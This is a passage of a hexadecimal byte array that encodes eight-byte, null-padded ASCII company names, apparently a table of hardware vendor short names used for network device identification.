0x2d, 0x49, 0x6e, 0x74, 0x65,\r\n0x44, 0x6f, 0x72, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x57, 0x75, 0x68, 0x61, 0x6e, 0x50, 0x6f, 0x6e,\r\n0x57, 0x61, 0x76, 0x65, 0x74, 0x72, 0x65, 0x6e,\r\n0x50, 0x79, 0x6c, 0x6f, 0x6e, 0x65, 0x00, 0x00,\r\n0x51, 0x75, 0x61, 0x6e, 0x74, 0x75, 0x6d, 0x76,\r\n0x59, 0x78, 0x57, 0x69, 0x72, 0x65, 0x6c, 0x65,\r\n0x48, 0x69, 0x67, 0x68, 0x70, 0x72, 0x6f, 0x49,\r\n0x4c, 0x6f, 0x6e, 0x67, 0x6b, 0x61, 0x79, 0x43,\r\n0x4d, 0x61, 0x76, 0x65, 0x72, 0x69, 0x63, 0x6b,\r\n0x53, 0x79, 0x72, 0x69, 0x73, 0x54, 0x65, 0x63,\r\n0x56, 0x69, 0x63, 0x6f, 0x6e, 0x69, 0x63, 0x73,\r\n0x54, 0x68, 0x61, 0x6c, 0x65, 0x73, 0x2d, 0x50,\r\n0x4d, 0x6f, 0x6f, 0x68, 0x61, 0x64, 0x69, 0x67,\r\n0x4d, 0x68, 0x41, 0x63, 0x6f, 0x75, 0x73, 0x74,\r\n0x4d, 0x75, 0x73, 0x63, 0x6c, 0x65, 0x00, 0x00,\r\n0x41, 0x76, 0x69, 0x64, 0x79, 0x6e, 0x65, 0x00,\r\n0x53, 0x61, 0x6b, 0x61, 0x54, 0x65, 0x63, 0x68,\r\n0x4d, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x50, 0x74,\r\n0x49, 0x6e, 0x74, 0x65, 0x6c, 0x47, 0x65, 0x00,\r\n0x48, 0x61, 0x72, 0x64, 0x79, 0x49, 0x6e, 0x73,\r\n0x4b, 0x72, 0x6f, 0x68, 0x6e, 0x65, 0x00, 0x00,\r\n0x43, 0x6f, 0x76, 0x6f, 0x74, 0x65, 0x00, 0x00,\r\n0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x2d, 0x54,\r\n0x43, 0x61, 0x72, 0x65, 0x73, 0x74, 0x72, 0x65,\r\n0x47, 0x72, 0x69, 0x64, 0x43, 0x6f, 0x6e, 0x6e,\r\n0x54, 0x63, 0x6d, 0x4d, 0x6f, 0x62, 0x69, 0x6c,\r\n0x53, 0x70, 0x69, 0x6e, 0x65, 0x74, 0x69, 0x78,\r\n0x42, 0x61, 0x62, 0x63, 0x6f, 0x63, 0x6b, 0x57,\r\n0x44, 0x65, 0x66, 0x7a, 0x6f, 0x6e, 0x65, 0x42,\r\n0x53, 0x26, 0x4f, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x53, 0x75, 0x6e, 0x6e, 0x69, 0x63, 0x54, 0x65,\r\n0x5a, 0x61, 0x6e, 0x74, 0x61, 0x7a, 0x00, 0x00,\r\n0x4b, 0x72, 0x61, 0x6d, 0x65, 0x72, 0x45, 0x6c,\r\n0x43, 0x61, 0x65, 0x74, 0x65, 0x63, 0x4d, 0x65,\r\n0x43, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x69, 0x74, 0x72, 0x61, 0x45, 0x6e, 0x65,\r\n0x54, 0x65, 0x63, 0x76, 0x61, 0x6e, 0x49, 0x6e,\r\n0x54, 0x6f, 0x6d, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x44,\r\n0x43, 0x6f, 0x6d, 0x69, 0x6e, 0x67, 0x4d, 0x65,\r\n0x4f, 0x76, 0x65, 0x72, 0x73, 0x70, 0x65, 0x65,\r\n0x42, 0x69, 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x70, 0x68, 0x61, 0x73, 0x65, 0x54,\r\n0x4d, 0x69, 0x65, 0x6c, 0x65, 0x43, 0x69, 0x65,\r\n0x41, 0x64, 0x61, 0x6d, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x41, 0x6d, 0x65, 0x63, 0x00, 0x00, 0x00, 0x00,\r\n0x4b, 0x6e, 0x6f, 0x72, 0x72, 0x2d, 0x42, 0x72,\r\n0x43, 0x6c, 0x61, 0x72, 0x69, 0x70, 0x68, 0x79,\r\n0x43, 0x6f, 0x6e, 0x66, 0x69, 0x64, 0x61, 0x6e,\r\n0x43, 0x68, 0x61, 0x69, 0x6e, 0x7a, 0x6f, 0x6e,\r\n0x54, 0x69, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x43,\r\n0x52, 0x61, 0x64, 0x69, 0x6f, 0x73, 0x63, 0x61,\r\n0x45, 0x79, 0x65, 0x68, 0x65, 0x69, 0x67, 0x68,\r\n0x4e, 0x73, 0x67, 0x61, 0x74, 0x65, 0x00, 0x00,\r\n0x49, 0x6e, 0x76, 0x65, 0x6e, 0x67, 0x6f, 0x49,\r\n0x53, 0x69, 0x67, 0x6e, 0x61, 0x6d, 0x61, 0x78,\r\n0x57, 0x69, 0x64, 0x65, 0x62, 0x61, 0x6e, 0x64,\r\n0x49, 0x63, 0x65, 0x45, 0x6e, 0x65, 0x72, 0x67,\r\n0x41, 0x62, 0x65, 0x45, 0x6c, 0x65, 0x74, 0x74,\r\n0x54, 0x65, 0x6b, 0x72, 0x6f, 0x6e, 0x49, 0x6e,\r\n0x45, 0x6d, 0x69, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x47, 0x61, 0x74, 0x65, 0x77, 0x61, 0x79, 0x00,\r\n0x43, 0x61, 0x6c, 0x6c, 0x44, 0x69, 0x72, 0x65,\r\n0x53, 0x68, 0x69, 0x6e, 0x77, 0x61, 0x49, 0x6e,\r\n0x56, 0x69, 0x67, 0x74, 0x65, 0x63, 0x68, 0x4c,\r\n0x43, 0x6c, 0x65, 0x61, 0x72, 0x77, 0x69, 0x72,\r\n0x56, 0x61, 0x75, 0x6c, 0x74, 0x73, 0x74, 0x6f,\r\n0x54, 0x65, 0x63, 0x68, 0x74, 0x72, 0x65, 0x78,\r\n0x4c, 0x61, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x65,\r\n0x52, 0x61, 0x79, 0x74, 0x65, 0x6b, 0x00, 0x00,\r\n0x41, 0x6c, 0x65, 0x72, 0x65, 0x6f, 0x6e, 0x00,\r\n0x50, 0x75, 0x72, 0x65, 0x77, 0x61, 0x76, 0x65,\r\n0x45, 0x6d, 0x63, 0x6f, 0x46, 0x6c, 0x6f, 0x77,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x69, 0x7a, 0x65,\r\n0x4d, 0x6f, 0x64, 0x61, 0x63, 0x6f, 0x6d, 0x00,\r\n0x43, 0x6c, 0x69, 0x6d, 0x61, 0x78, 0x54, 0x65,\r\n0x46, 0x6c, 0x61, 0x73, 0x68, 0x00, 0x00, 0x00,\r\n0x41, 0x6c, 0x65, 0x72, 0x74, 0x75, 0x73, 0x54,\r\n0x43, 0x79, 0x61, 0x6e, 0x4f, 0x70, 0x74, 0x69,\r\n0x47, 0x6f, 0x64, 0x65, 0x78, 0x49, 0x6e, 0x74,\r\n0x48, 0x6f, 0x6b, 0x75, 0x79, 0x6f, 0x41, 0x75,\r\n0x41, 0x72, 0x74, 0x6a, 0x6f, 0x79, 0x49, 0x6e,\r\n0x41, 0x78, 0x69, 0x6f, 0x6e, 0x54, 0x65, 0x63,\r\n0x4d, 0x61, 0x74, 0x74, 0x52, 0x50, 0x54, 0x72,\r\n0x48, 0x65, 0x6e, 0x67, 0x59, 0x75, 0x45, 0x6c,\r\n0x53, 0x61, 0x62, 0x69, 0x6f, 0x73, 0x6f, 0x00,\r\n0x4d, 0x65, 0x64, 0x69, 0x61, 0x4e, 0x75, 0x6d,\r\n0x53, 0x65, 0x61, 0x6d, 0x6c, 0x65, 0x73, 0x73,\r\n0x54, 0x61, 0x6b, 0x61, 0x68, 0x61, 0x74, 0x61,\r\n0x43, 0x61, 0x73, 0x74, 0x6c, 0x65, 0x73, 0x54,\r\n0x44, 0x72, 0x61, 0x79, 0x74, 0x65, 0x6b, 0x00,\r\n0x53, 0x77, 0x69, 0x73, 0x73, 0x71, 0x75, 0x61,\r\n0x47, 0x69, 0x67, 0x61, 0x6d, 0x6f, 0x6e, 0x4c,\r\n0x53, 0x69, 0x6e, 0x6f, 0x74, 0x65, 0x63, 0x68,\r\n0x43, 0x68, 0x61, 0x6e, 0x67, 0x54, 0x73, 0x65,\r\n0x46, 0x75, 0x6a, 0x69, 0x61, 0x6e, 0x48, 0x65,\r\n0x43, 0x72, 0x65, 0x73, 0x63, 0x65, 0x6e, 0x64,\r\n0x48, 0x6f, 0x6b, 0x6b, 0x61, 0x69, 0x64, 0x6f,\r\n0x4b, 0x75, 0x6d, 0x68, 0x6f, 0x45, 0x6e, 0x67,\r\n0x42, 0x65, 0x73, 0x74, 0x63, 0x6f, 0x6d, 0x6d,\r\n0x54, 0x65, 0x6e, 0x64, 0x72, 0x69, 0x6c, 0x4e,\r\n0x49, 0x6e, 0x74, 0x6f, 0x74, 0x6f, 0x00, 0x00,\r\n0x57, 0x65, 0x6c, 0x6c, 0x73, 0x70, 0x72, 0x69,\r\n0x56, 0x65, 0x72, 0x73, 0x61, 0x6d, 0x65, 0x64,\r\n0x52, 0x61, 0x64, 0x69, 0x69, 0x65, 0x6e, 0x74,\r\n0x45, 0x6e, 0x70, 0x68, 0x61, 0x73, 0x65, 0x45,\r\n0x41, 0x75, 0x64, 0x69, 0x6e, 0x61, 0x74, 0x65,\r\n0x58, 0x6f, 0x72, 0x74, 0x65, 0x63, 0x4f, 0x79,\r\n0x52, 0x69, 0x6b, 0x6f, 0x72, 0x54, 0x76, 0x00,\r\n0x41, 0x69, 0x6f, 0x69, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x4a,\r\n0x53, 0x6e, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x61, 0x76, 0x69, 0x6f, 0x6e, 0x69, 0x63,\r\n0x47, 0x61, 0x69, 0x6e, 0x73, 0x70, 0x61, 0x6e,\r\n0x50, 0x61, 0x76, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x45, 0x78, 0x6e, 0x73, 0x44, 0x65, 0x76, 0x00,\r\n0x41, 0x79, 0x6f, 0x6e, 0x43, 0x79, 0x62, 0x65,\r\n0x41, 0x6c, 0x67, 0x6f, 0x6c, 0x69, 0x74, 0x68,\r\n0x4d, 0x69, 0x6b, 0x72, 0x6f, 0x65, 0x6c, 0x65,\r\n0x43, 0x2d, 0x42, 0x65, 0x6c, 0x00, 0x00, 0x00,\r\n0x44, 0x61, 0x74, 0x48, 0x4b, 0x00, 0x00, 0x00,\r\n0x53, 0x75, 0x6e, 0x69, 0x74, 0x65, 0x63, 0x45,\r\n0x52, 0x61, 0x64, 0x69, 0x6f, 0x6e, 0x6f, 0x72,\r\n0x49, 0x6e, 0x74, 0x75, 0x69, 0x63, 0x6f, 0x6d,\r\n0x4d, 0x61, 0x72, 0x69, 0x6e, 0x65, 0x53, 0x6f,\r\n0x4e, 0x69, 0x6b, 0x6b, 0x6f, 0x44, 0x65, 0x6e,\r\n0x43, 0x6f, 0x6d, 0x6d, 0x74, 0x65, 0x73, 0x74,\r\n0x44, 0x69, 0x6e, 0x65, 0x63, 0x49, 0x6e, 0x74,\r\n0x4d, 0x61, 0x72, 0x75, 0x73, 0x79, 0x73, 0x00,\r\n0x47, 0x72, 0x69, 0x64, 0x4e, 0x65, 0x74, 0x00,\r\n0x4e, 0x65, 0x78, 0x74, 0x76, 0x69, 0x73, 0x69,\r\n0x54, 0x72, 0x69, 0x6d, 0x6d, 0x00, 0x00, 0x00,\r\n0x56, 0x69, 0x64, 0x69, 0x65, 0x6e, 0x74, 0x00,\r\n0x49, 0x6e, 0x74, 0x65, 0x67, 0x6f, 0x00, 0x00,\r\n0x4e, 0x65, 0x74, 0x66, 0x6c, 0x69, 0x78, 0x00,\r\n0x53, 0x62, 0x73, 0x53, 0x63, 0x69, 0x65, 0x6e,\r\n0x4d, 0x61, 0x67, 0x65, 0x6c, 0x6c, 0x61, 0x6e,\r\n0x53, 0x75, 0x6e, 0x73, 0x68, 0x69, 0x6e, 0x65,\r\n0x52, 0x53, 0x74, 0x61, 0x68, 0x6c, 0x53, 0x63,\r\n0x57, 0x65, 0x62, 0x70, 0x72, 0x6f, 0x56, 0x69,\r\n0x43, 0x79, 0x62, 0x69, 0x6f, 0x74, 0x72, 0x6f,\r\n0x46, 0x75, 0x6a, 0x69, 0x61, 0x6e, 0x4c, 0x61,\r\n0x4e, 0x65, 0x74, 0x63, 0x6c, 0x65, 0x75, 0x73,\r\n0x4b, 0x73, 0x69, 0x63, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x68, 0x61, 0x6e, 0x74, 0x6f, 0x75, 0x49,\r\n0x52, 0x65, 0x6e, 0x65, 0x73, 0x61, 0x73, 0x54,\r\n0x53, 0x6f, 0x75, 0x67, 0x6f, 0x75, 0x4b, 0x65,\r\n0x4c, 0x69, 0x63, 0x6f, 0x6d, 0x6d, 0x00, 0x00,\r\n0x48, 0x61, 0x6e, 0x73, 0x6f, 0x6e, 0x52, 0x65,\r\n0x58, 0x73, 0x65, 0x65, 0x64, 0x54, 0x65, 0x63,\r\n0x57, 0x69, 0x62, 0x72, 0x61, 0x69, 0x6e, 0x00,\r\n0x57, 0x69, 0x6e, 0x79, 0x54, 0x65, 0x63, 0x68,\r\n0x43, 0x65, 0x6e, 0x74, 0x65, 0x63, 0x4e, 0x65,\r\n0x5a, 0x65, 0x66, 0x61, 0x74, 0x65, 0x6b, 0x00,\r\n0x53, 0x79, 0x62, 0x61, 0x54, 0x65, 0x63, 0x68,\r\n0x53, 0x68, 0x65, 0x72, 0x77, 0x6f, 0x6f, 0x64,\r\n0x4d, 0x69, 0x63, 0x72, 0x61, 0x6e, 0x00, 0x00,\r\n0x4d, 0x61, 0x78, 0x69, 0x56, 0x69, 0x65, 0x77,\r\n0x42, 0x72, 0x69, 0x6f, 0x74, 0x49, 0x6e, 0x74,\r\n0x45, 0x6c, 0x65, 0x6c, 0x75, 0x78, 0x49, 0x6e,\r\n0x45, 0x63, 0x6f, 0x6c, 0x61, 0x62, 0x00, 0x00,\r\n0x42, 0x65, 0x65, 0x63, 0x68, 0x48, 0x69, 0x6c,\r\n0x4b, 0x65, 0x79, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x53, 0x74, 0x6e, 0x42, 0x76, 0x00, 0x00, 0x00,\r\n0x52, 0x61, 0x64, 0x69, 0x6f, 0x41, 0x63, 0x74,\r\n0x47, 0x74, 0x72, 0x69, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x65, 0x73, 0x74, 0x53, 0x6f, 0x75, 0x72,\r\n0x53, 0x77, 0x73, 0x41, 0x75, 0x73, 0x74, 0x72,\r\n0x45, 0x61, 0x73, 0x74, 0x43, 0x6f, 0x61, 0x73,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x74, 0x61, 0x69,\r\n0x41, 0x72, 0x76, 0x6f, 0x6f, 0x49, 0x6d, 0x61,\r\n0x49, 0x6e, 0x74, 0x65, 0x6b, 0x44, 0x69, 0x67,\r\n0x44, 0x69, 0x67, 0x69, 0x66, 0x72, 0x69, 0x65,\r\n0x53, 0x62, 0x6e, 0x54, 0x65, 0x63, 0x68, 0x00,\r\n0x4c, 0x75, 0x6d, 0x65, 0x78, 0x69, 0x73, 0x00,\r\n0x48, 0x79, 0x70, 0x65, 0x72, 0x74, 0x68, 0x65,\r\n0x52, 0x61, 0x64, 0x69, 0x6f, 0x44, 0x65, 0x73,\r\n0x43, 0x79, 0x76, 0x65, 0x72, 0x73, 0x65, 0x00,\r\n0x53, 0x74, 0x69, 0x6d, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x69, 0x72, 0x74, 0x69, 0x53, 0x50, 0x41,\r\n0x44, 0x69, 0x6d, 0x6f, 0x74, 0x6f, 0x50, 0x74,\r\n0x53, 0x68, 0x69, 0x72, 0x65, 0x65, 0x6e, 0x00,\r\n0x49, 0x6e, 0x66, 0x6f, 0x6d, 0x61, 0x72, 0x6b,\r\n0x5a, 0x65, 0x6e, 0x73, 0x79, 0x73, 0x00, 0x00,\r\n0x43, 0x72, 0x79, 0x70, 0x74, 0x6f, 0x6d, 0x65,\r\n0x49, 0x70, 0x74, 0x65, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x6c, 0x75, 0x65, 0x63, 0x61, 0x72, 0x64,\r\n0x43, 0x6f, 0x6d, 0x73, 0x79, 0x73, 0x43, 0x6f,\r\n0x4c, 0x79, 0x6e, 0x67, 0x62, 0x6f, 0x78, 0x4d,\r\n0x4b, 0x6d, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x72, 0x65, 0x6c, 0x6c, 0x69, 0x73, 0x77,\r\n0x54, 0x65, 0x6c, 0x74, 0x6f, 0x6e, 0x69, 0x6b,\r\n0x41, 0x69, 0x73, 0x69, 0x6e, 0x41, 0x77, 0x00,\r\n0x53, 0x61, 0x6e, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x50, 0x74, 0x48, 0x61, 0x72, 0x69, 0x66, 0x66,\r\n0x57, 0x69, 0x2d, 0x4c, 0x69, 0x6e, 0x6b, 0x73,\r\n0x43, 0x69, 0x74, 0x79, 0x54, 0x68, 0x65, 0x61,\r\n0x57, 0x65, 0x6c, 0x6b, 0x69, 0x6e, 0x53, 0x63,\r\n0x44, 0x61, 0x6b, 0x6f, 0x45, 0x64, 0x76, 0x2d,\r\n0x42, 0x61, 0x74, 0x74, 0x69, 0x73, 0x74, 0x6f,\r\n0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x74, 0x65,\r\n0x46, 0x75, 0x72, 0x74, 0x68, 0x65, 0x72, 0x54,\r\n0x54, 0x6f, 0x79, 0x6f, 0x45, 0x6c, 0x65, 0x63,\r\n0x43, 0x6f, 0x77, 0x6f, 0x6e, 0x00, 0x00, 0x00,\r\n0x42, 0x61, 0x6c, 0x6c, 0x79, 0x57, 0x75, 0x6c,\r\n0x41, 0x6c, 0x63, 0x6f, 0x6d, 0x61, 0x53, 0x70,\r\n0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x54,\r\n0x55, 0x6e, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x00,\r\n0x52, 0x62, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61,\r\n0x48, 0x6f, 0x6c, 0x6f, 0x73, 0x79, 0x73, 0x44,\r\n0x43, 0x6f, 0x6d, 0x70, 0x75, 0x74, 0x69, 0x6d,\r\n0x4b, 0x77, 0x69, 0x6b, 0x62, 0x79, 0x74, 0x65,\r\n0x49, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x69, 0x65, 0x6d, 0x6f, 0x6e, 0x00, 0x00,\r\n0x56, 0x69, 0x62, 0x72, 0x6f, 0x2d, 0x4d, 0x65,\r\n0x52, 0x65, 0x73, 0x6f, 0x6c, 0x45, 0x6c, 0x65,\r\n0x4f, 0x70, 0x61, 0x71, 0x75, 0x65, 0x00, 0x00,\r\n0x49, 0x74, 0x52, 0x26, 0x44, 0x43, 0x65, 0x6e,\r\n0x4d, 0x61, 0x67, 0x6e, 0x61, 0x2d, 0x50, 0x6f,\r\n0x43, 0x6f, 0x62, 0x68, 0x61, 0x6d, 0x44, 0x65,\r\n0x4d, 0x69, 0x72, 0x63, 0x6f, 0x6d, 0x47, 0x72,\r\n0x50, 0x63, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x68, 0x65, 0x72, 0x6d, 0x6f, 0x46, 0x69,\r\n0x41, 0x69, 0x72, 0x32, 0x61, 0x70, 0x70, 0x00,\r\n0x4f, 0x77, 0x69, 0x74, 0x65, 0x6b, 0x54, 0x65,\r\n0x52, 0x49, 0x53, 0x52, 0x4c, 0x00, 0x00, 0x00,\r\n0x54, 0x61, 0x69, 0x77, 0x69, 0x63, 0x6b, 0x00,\r\n0x43, 0x62, 0x6d, 0x4f, 0x66, 0x41, 0x6d, 0x65,\r\n0x4c, 0x61, 0x73, 0x74, 0x4d, 0x69, 0x6c, 0x65,\r\n0x43, 0x6e, 0x62, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x4c, 0x61, 0x6e, 0x2f, 0x4d, 0x61, 0x6e, 0x53,\r\n0x50, 0x69, 0x6b, 0x61, 0x54, 0x65, 0x63, 0x68,\r\n0x4c, 0x61, 0x67, 0x6f, 0x74, 0x65, 0x6b, 0x00,\r\n0x4d, 0x65, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x52, 0x65, 0x61, 0x6c, 0x65, 0x61, 0x73, 0x65,\r\n0x41, 0x6e, 0x64, 0x6f, 0x72, 0x53, 0x79, 0x73,\r\n0x43, 0x72, 0x66, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x63, 0x6f, 0x70, 0x79, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x66, 0x72, 0x61, 0x41, 0x63, 0x63,\r\n0x48, 0x75, 0x6e, 0x6b, 0x65, 0x6c, 0x65, 0x72,\r\n0x4b, 0x69, 0x6d, 0x69, 0x6e, 0x45, 0x6c, 0x65,\r\n0x4a, 0x65, 0x75, 0x6c, 0x69, 0x6e, 0x53, 0x41,\r\n0x43, 0x69, 0x72, 0x69, 0x74, 0x65, 0x63, 0x68,\r\n0x53, 0x75, 0x70, 0x65, 0x72, 0x63, 0x6f, 0x6d,\r\n0x53, 0x69, 0x67, 0x6d, 0x61, 0x6c, 0x69, 0x6e,\r\n0x53, 0x65, 0x70, 0x75, 0x72, 0x61, 0x00, 0x00,\r\n0x4d, 0x65, 0x64, 0x69, 0x75, 0x6d, 0x4c, 0x69,\r\n0x47, 0x72, 0x65, 0x65, 0x6e, 0x6c, 0x69, 0x6e,\r\n0x56, 0x61, 0x6e, 0x74, 0x61, 0x6e, 0x6f, 0x6c,\r\n0x48, 0x61, 0x6d, 0x69, 0x6c, 0x74, 0x6f, 0x6e,\r\n0x53, 0x61, 0x6e, 0x2d, 0x45, 0x69, 0x73, 0x68,\r\n0x46, 0x69, 0x64, 0x75, 0x73, 0x74, 0x72, 0x6f,\r\n0x52, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x54, 0x65,\r\n0x44, 0x64, 0x6d, 0x48, 0x6f, 0x70, 0x74, 0x2b,\r\n0x58, 0x6c, 0x6e, 0x2d, 0x54, 0x00, 0x00, 0x00,\r\n0x42, 0x72, 0x75, 0x6e, 0x61, 0x74, 0x61, 0x00,\r\n0x53, 0x79, 0x6d, 0x78, 0x00, 0x00, 0x00, 0x00,\r\n0x52, 0x6f, 0x62, 0x6f, 0x74, 0x6f, 0x75, 0x73,\r\n0x42, 0x65, 0x73, 0x74, 0x49, 0x74, 0x57, 0x6f,\r\n0x44, 0x61, 0x74, 0x61, 0x6e, 0x67, 0x4d, 0x6f,\r\n0x45, 0x2d, 0x53, 0x65, 0x6e, 0x7a, 0x61, 0x54,\r\n0x54, 0x65, 0x6c, 0x65, 0x77, 0x65, 0x6c, 0x6c,\r\n0x41, 0x72, 0x6d, 0x61, 0x64, 0x65, 0x75, 0x73,\r\n0x57, 0x69, 0x6e, 0x67, 0x74, 0x65, 0x63, 0x68,\r\n0x43, 0x6f, 0x6e, 0x74, 0x69, 0x6e, 0x65, 0x6e,\r\n0x4f, 0x70, 0x68, 0x69, 0x72, 0x4f, 0x70, 0x74,\r\n0x49, 0x6d, 0x65, 0x73, 0x64, 0x45, 0x6c, 0x65,\r\n0x43, 0x72, 0x79, 0x70, 0x74, 0x73, 0x6f, 0x66,\r\n0x50, 0x72, 0x69, 0x6d, 0x65, 0x78, 0x57, 0x69,\r\n0x55, 0x6e, 0x69, 0x66, 0x61, 0x74, 0x54, 0x65,\r\n0x45, 0x76, 0x65, 0x72, 0x53, 0x70, 0x61, 0x72,\r\n0x54, 0x61, 0x67, 0x48, 0x65, 0x75, 0x65, 0x72,\r\n0x54, 0x62, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00,\r\n0x46, 0x6f, 0x72, 0x74, 0x69, 0x73, 0x00, 0x00,\r\n0x53, 0x69, 0x6e, 0x67, 0x46, 0x61, 0x69, 0x54,\r\n0x48, 0x69, 0x67, 0x68, 0x44, 0x65, 0x6e, 0x73,\r\n0x42, 0x6c, 0x75, 0x65, 0x6c, 0x69, 0x67, 0x68,\r\n0x57, 0x69, 0x6e, 0x74, 0x65, 0x63, 0x68, 0x41,\r\n0x48, 0x61, 0x61, 0x73, 0x41, 0x75, 0x74, 0x6f,\r\n0x4b, 0x6f, 0x7a, 0x69, 0x6f, 0x00, 0x00, 0x00,\r\n0x43, 0x65, 0x6c, 0x69, 0x6f, 0x00, 0x00, 0x00,\r\n0x4d, 0x69, 0x64, 0x64, 0x6c, 0x65, 0x41, 0x74,\r\n0x4f, 0x62, 0x76, 0x69, 0x75, 0x73, 0x48, 0x6f,\r\n0x52, 0x61, 0x70, 0x69, 0x64, 0x4d, 0x6f, 0x62,\r\n0x52, 0x70, 0x63, 0x45, 0x6e, 0x65, 0x72, 0x67,\r\n0x43, 0x64, 0x76, 0x69, 0x00, 0x00, 0x00, 0x00,\r\n0x4b, 0x79, 0x6c, 0x61, 0x6e, 0x64, 0x54, 0x65,\r\n0x42, 0x69, 0x73, 0x61, 0x54, 0x65, 0x63, 0x68,\r\n0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x45,\r\n0x49, 0x6e, 0x67, 0x65, 0x73, 0x70, 0x61, 0x63,\r\n0x4b, 0x65, 0x79, 0x70, 0x72, 0x6f, 0x63, 0x65,\r\n0x52, 0x61, 0x79, 0x53, 0x68, 0x69, 0x6e, 0x65,\r\n0x44, 0x6f, 0x74, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x44, 0x6f, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x67,\r\n0x54, 0x65, 0x6b, 0x6f, 0x6e, 0x2d, 0x41, 0x75,\r\n0x41, 0x6c, 0x65, 0x6e, 0x74, 0x65, 0x63, 0x4f,\r\n0x48, 0x2d, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x55,\r\n0x57, 0x65, 0x73, 0x65, 0x6d, 0x61, 0x6e, 0x6e,\r\n0x47, 0x69, 0x6b, 0x65, 0x6e, 0x54, 0x72, 0x61,\r\n0x57, 0x61, 0x73, 0x6b, 0x6f, 0x53, 0x41, 0x00,\r\n0x42, 0x79, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x49, 0x6e,\r\n0x55, 0x72, 0x6d, 0x65, 0x74, 0x44, 0x6f, 0x6d,\r\n0x54, 0x26, 0x57, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x45, 0x70, 0x69, 0x63, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x79, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00,\r\n0x53, 0x74, 0x6f, 0x6e, 0x65, 0x72, 0x69, 0x64,\r\n0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x53, 0x77,\r\n0x54, 0x61, 0x6c, 0x6b, 0x2d, 0x41, 0x2d, 0x50,\r\n0x41, 0x64, 0x76, 0x65, 0x6e, 0x74, 0x69, 0x71,\r\n0x45, 0x74, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x61, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x47, 0x69, 0x67, 0x61, 0x66, 0x69, 0x6e, 0x4e,\r\n0x53, 0x65, 0x72, 0x76, 0x69, 0x6d, 0x61, 0x74,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x4d, 0x6f, 0x74,\r\n0x46, 0x72, 0x6f, 0x6d, 0x32, 0x00, 0x00, 0x00,\r\n0x48, 0x69, 0x74, 0x65, 0x6b, 0x41, 0x75, 0x74,\r\n0x45, 0x6d, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79,\r\n0x50, 0x61, 0x73, 0x63, 0x6f, 0x6d, 0x4b, 0x6f,\r\n0x50, 0x72, 0x6f, 0x74, 0x65, 0x69, 0x00, 0x00,\r\n0x54, 0x72, 0x69, 0x6f, 0x4d, 0x6f, 0x74, 0x69,\r\n0x4a, 0x73, 0x63, 0x4d, 0x61, 0x73, 0x73, 0x61,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x62, 0x69, 0x74,\r\n0x4c, 0x65, 0x76, 0x65, 0x6c, 0x53, 0x52, 0x4f,\r\n0x4d, 0x75, 0x65, 0x6c, 0x6c, 0x65, 0x72, 0x2d,\r\n0x50, 0x69, 0x78, 0x65, 0x6c, 0x6d, 0x65, 0x74,\r\n0x4e, 0x75, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x47, 0x72, 0x61, 0x6e, 0x63, 0x68, 0x00, 0x00,\r\n0x49, 0x74, 0x61, 0x73, 0x54, 0x65, 0x63, 0x68,\r\n0x41, 0x7a, 0x74, 0x65, 0x71, 0x4d, 0x6f, 0x62,\r\n0x52, 0x69, 0x73, 0x63, 0x6f, 0x00, 0x00, 0x00,\r\n0x4a, 0x61, 0x73, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x4c, 0x33, 